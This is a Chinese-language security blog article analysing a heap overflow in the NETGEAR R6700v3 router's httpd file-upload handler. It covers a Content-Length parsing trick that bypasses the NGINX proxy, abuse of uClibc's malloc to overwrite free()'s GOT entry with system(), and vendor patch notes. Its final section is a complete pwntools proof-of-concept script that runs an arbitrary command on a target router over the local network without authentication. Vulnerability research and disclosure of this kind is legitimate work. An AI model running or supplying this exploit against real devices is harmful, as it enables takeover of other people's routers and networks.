NETGEAR R6700v3堆溢出漏洞分析

阅读量    102744 |   稿费 180

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

Pwn2Own Tokyo 2019引入了一个新的类别:无线路由器。在这次比赛中,有款目标路由器为NETGEAR Nighthawk R6700v3。我并没有参加这次比赛,但还是想分析一下该设备,看能不能找出一些漏洞。除了这次比赛中找到的漏洞,我还发现路由器中存在另一个堆溢出漏洞,恶意第三方可以利用该漏洞,从本地网络控制该设备。我将在本文中详细分析该漏洞,并且会提供一个PoC,适用于固件版本为V1.0.4.84_10.0.58的所有路由器。

该漏洞位于httpd服务中(/usr/bin/httpd),未经身份认证的攻击者如果连入本地网络,就可以向httpd web服务发送精心构造的HTTP请求,最终在目标系统上执行远程代码。成功利用该漏洞后,攻击者可能会全面入侵存在漏洞的系统。漏洞根源在于路由器的文件上传函数,该函数在处理导入的配置文件时存在一个堆溢出漏洞。

 

0x01 背景

我想先简要介绍一下路由器对HTTP请求的处理流程。这款路由器的web服务并没有直接在80端口上监听,但有个代理进程会在该端口上监听:NGINX代理。我还没有深入分析该进程,因此不确定这是否是常用的NGINX web服务器版本。

当HTTP请求到达httpd服务时,主要处理该请求的函数为sub_159E8()。该函数执行流程如下图所示:

图1. sub_159E8()函数执行流程

函数首先会从socket中读取HTTP请求,然后检查该HTTP请求是否为文件上传请求。如果不满足该条件,则会调用sub_10DC4函数,该函数负责解析HTTP请求,执行身份认证、请求调度等逻辑。如果为文件上传请求,则会执行上图中的X部分代码。从上图可知,sub_10DC4为处理请求的主函数,X部分代码与该函数独立,因此比较吸引人,这次我们发现的漏洞的确位于该区域。

 

0x02 漏洞分析

如上图所示,该漏洞可以通过HTTP上传操作来触发,上传请求由/backup.cgi负责处理。在测试该功能的过程中,我发现了影响该端点的两个不同的问题。第一个问题为缺少身份认证:攻击者无需通过身份认证就能上传新的配置文件。不过由于应用新的配置之前路由器会进行身份认证,因此我们无法替换目标凭据、或者修改目标系统的设置。第二个问题为典型的堆溢出漏洞,位于文件上传功能中。

存在漏洞的函数会将上传的文件内容拷贝到一个堆缓冲区中,而该缓冲区大小由攻击者所控制,相应的伪代码片段如下图所示:

图2. 存在漏洞的函数伪代码片段

为了控制堆缓冲区大小,攻击者可以使用Content-Length头部字段,但这个过程并没有那么简单。我们来分析下具体原因。

导入配置文件的HTTP请求如下所示:

图3. 导入配置文件的HTTP请求

HTTP请求必须满足几个条件。首先,URI必须包含以下某个字符串:backup.cgigenierestore.cgi或者upgrade_check.cgi。此外,请求必须为multipart/form-data请求,头部中必须包含name="mtenRestoreCfg字段。最后,文件名不能为空字符串。然而,根据前面介绍的web处理架构,HTTP请求在传递给httpd服务前必须先交给NGINX代理处理。NGINX代理的policy_default.conf配置文件如下:

图4. NGINX配置文件

因此,为了绕过NGINX代理,我选择如下URI:

图5. 绕过代理的URI

文件上传的处理逻辑位于sub_159E8函数中,其中程序会从头部中提取Content-Length值:

图6. 提取Content-Length

上述代码片段首先会使用strstr函数来定位整个HTTP请求中的Content-Length字段,然后提取该字段值,在一个循环中通过简单的逻辑实现atoi函数,将其从字符串转换为整数:

图7. 将字符串转换为整数的循环

然而,由于NGINX代理的存在,我们无法直接将任意值传递给Content-Length头。除了过滤请求外,该代理还会rewrite请求。代理会确认Content-Length值等于POST数据的大小,然后将Content-Length头放在请求的第一个头部中。因此,我们无法在另一个头部中伪造Content-Length。然而提取Content-Length头的代码逻辑存在缺陷,相关代码会在整个HTTP请求中执行strstr函数,而不是只处理请求头。因此我们有可能在URI中设置Content-Length头,由httpd服务来解析,如下所示:

图8. 伪造Content-Length的URI

由于请求地址位于HTTP头之前,带有上述URI,因此传递给图7中代码的字符串为111 HTTP/1.1。通过这种方法,我们能够完全控制Content-Length的值,触发整数溢出漏洞。

此外,图7中对atoi的实现比较有趣的一点是,代码在碰到非数字字符时并没有停止,而是会继续执行,直到碰到回车换行符(\r\n)才停止,期间会将找到的所有字符都解析为十进制数字。为了获取每个字符对应的数字值,代码会将字符编码减去数字0对应的ASCII字符码。这种方法适用于数字0到数字9之间的值,但当解析非数字字符时将得到错误结果。比如,当解析空格符时(ASCII 0x20),代码计算出的值为0x20 - 0x30(即0xfffffff0)。由于计算错误,上述示例中111 HTTP/1.1字符串所得的最终值为0x896ebfe9。为了控制该值,我使用了暴力程序来替换各种Content-Length值,模拟atoi循环,直到寻找到合适的值为止。最终我找到的字符串为4156559 HTTP/1.1,对应的值为ffffffe9,这是大小合适的负数值。

继续研究代码路径:

图9. 整数溢出漏洞

首先,程序会通过无符号方式将Content-Length值与0x20017进行比较。如果该值大于0x20017,就会执行0x17370地址处的汇编代码。然后,由于该请求为导入配置请求,因此存放在dword_19A08dword_19A08中的值将等于0。接下来,程序会检查存放在dword_1A870C中的指针值。如果该值不等于0,将会释放该指针所指向的内存。随后程序会调用malloc,传入Content-Length的值+0x258来分配内存,用来存放文件内容,结果存放在dword_1A870C中。由于我们可以完全控制Content-Length的值,因此可以将Content-Length值设置为负数,触发整数溢出漏洞。

程序接下来会将整个文件内容拷贝到前面分配的缓冲区中,导致堆溢出漏洞。

图10. 堆缓冲区溢出漏洞

 

0x03 需要考虑的因素

在构造利用代码时,我们需要考虑如下几个因素:

1、我们拿到了一个堆溢出漏洞,允许我们将任意数据写入堆内存中(包括null字节)。

2、由于ASLR机制不完备,堆内存位于固定地址。

3、系统用到了uClibc。这是glibc的最小libc版本,因此包含简单实现的mallocfree函数。

4、在调用memcpy()并实现堆溢出后,设备会调用sub_21A58()来返回错误页面。在sub_21A58()中,代码会调用fopen()来打开文件。fopen()中会两次调用malloc(),大小分别为0x60以及0x1000。分配的内存随后都会被释放。简而言之,分配及释放内存的顺序如下:

图11. 内存分配操作顺序

此外,我们可以发送Import String Table请求,在sub_95AF4()中调用malloc以及free。该函数用来计算String Table Upload文件的校验和,对应的伪代码如下:

图12. sub_95AF4()中的伪代码

导入字符串表的HTTP请求如下所示:

图13. 导入字符串表的HTTP请求

 

0x04 漏洞利用技术

我们可以通过堆缓冲区溢出来发起fastbin dup攻击。“Fastbin dup”攻击可以破坏堆状态,使对malloc的后续调用会返回我们选定的地址。当malloc返回指定地址后,我们可以将任意数据写入该地址(从而实现write-what-where原语)。我们可以覆盖某个GOT条目,实现远程代码执行。更具体一点,我们可以覆盖free()对应的GOT条目,将其重定向到system(),这样shell就会执行包含攻击者输入数据的缓冲区。

然而在这个场景中,我们很难发起fastbin dup攻击。前面提到过,每个请求都会调用malloc(0x1000),这将导致设备调用__malloc_consolidate()函数,破坏fastbin。

前面提到过,系统使用了uClibc库,因此free()malloc()函数的实现与glibc存在较大不同。我们来看一下free()函数:

图14. uClibcfree()的实现

在上图22行中,可以看到访问fastbins数组时缺少边界检查,这将导致fastbins出现越界写入。

检查malloc_state结构以及fastbin_index宏,这两者定义都位于malloc.h中:

图15. malloc_state结构及fastbin_index宏的定义

max_fast变量紧靠在fastbins数组之前。因此,如果我们将chunk的大小设置为8,那么当这个chunk被释放时,fastbin_index(8)将返回-1值,max_fast将被较大地址(一个指针)所覆盖。当heap正常运行时,chunk的值大小永远不会等于8,这是因为chunk中的metadata将占据8个字节,因此如果chunk大小为8,则代表用户数据大小为0字节。

max_fast被改成较大的值后,在malloc(0x1000)调用期间__malloc_consolidate()不会再被调用,这样我们就能进行fastbin dup攻击。

总结一下,我们的利用过程如下:

1、发起请求,触发堆溢出漏洞,覆盖chunk的PREV_INUSE标志,使其错误地表示前一个chunk已被释放。

2、由于设置了错误的PREV_INUSE标志,我们可以让malloc()返回与已有chunk有重叠的chunk。这样我们可以编辑已有chunk中metadata的大小字段,将其设置为8这个无效值。

3、当这个chunk被释放并放在fastbin上时,malloc_stats->max_fast会被较大的一个值覆盖。

4、当malloc_stats->max_fast被修改后,在调用malloc(0x1000)时,系统不再调用__malloc_consolidate()。这样我们就能发起fastbin攻击。

5、再次触发堆溢出漏洞,使用选定的目标地址来覆盖空闲fastbin chunk的覆盖fd(fowrard)指针。

6、后续调用malloc()时将返回我们设置的目标地址。我们可以通过这种方式将选定的数据写入目标地址。

7、使用这种“write-what-where”原语来写入free_got_addr地址,这里我们写入的数据为system_plt_addr

8、最后,当释放包含攻击者提供的字符串的缓冲区时,设备将调用system(),而不是free(),从而实现远程代码执行。

堆内存布局及详细的利用过程可参考如下PoC文件:

#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def exploit():
    path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    print '[+] malloc 0x28 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29
    # 02:0008│ r0 0x103f008 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    post_request(path, headers, f)

    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29 /* ')' */
    # 02:0008│ 0x103f008
    # 03:000c│ 0x103f00c
    # ... ↓
    # 0a:0028│ 0x103f028
    # 0b:002c│ 0x103f02c ◂— 0x19
    # 0c:0030│ r0 0x103f030 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)

    print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */
    # 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
    post_request(path, headers, f)

    print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x4f1
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x9
    # 12e:04b8│ 0x103f008
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x10417a8 ◂— 0xdfc3a88e
    # 01:0004│ 0x10417ac ◂— 0x19
    # 02:0008│ r0 0x10417b0 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)

    print '[+] malloc 0x38 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770
    # ... ↓
    # 0e:0038│ 0x103e7a0
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 10:0040│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ 0x103e770 ◂— 0x0
    # 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
    # ... ↓
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk
    # 10:0040│ 0x103e7a8 —▸ 0xf555c (semop@got.plt)
    free_got_addr = 0xF559C
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x30)
    f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
    post_request(path, headers, f)

    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e7a0 ◂— 'aaaaI'
    # 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 02:0008│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x40)
    post_request(path, headers, f)

    print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
    # 00:0000│ 0xf555c (semop@got.plt) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr}
    # 01:0004│ 0xf5560 (__aeabi_idiv@got.plt) —▸ 0xd998 ◂— str lr, [sp, #-4]!
    # 02:0008│ r0 0xf5564 (strstr@got.plt) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here
    system_addr = 0xDBF8
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] Done'

if __name__ == '__main__':
    context.log_level = 'error'
    if (len(sys.argv) < 4):
        print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]
    command = sys.argv[3]
    exploit()

 

0x05 总结

在本文发表时,厂商表示:“NETGEAR计划发布固件更新,如果受影响的产品仍在安全支持生命周期中,漏洞将会被修复”。厂商的确发布了beta版补丁,可以访问此处下载。我们还未测试该补丁是否能正确解决该漏洞的根源问题。ZDI在6月15日发布了安全公告,表示“考虑到该漏洞的特性,唯一可靠的缓解策略是限定目标服务的访问权限,只有合法的客户端和服务器才能与该设备通信。我们可以通过多种方式来实现该目标,比如防火墙规则、白名单等”。在官方推出补丁之前,这是降低风险的最佳建议。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多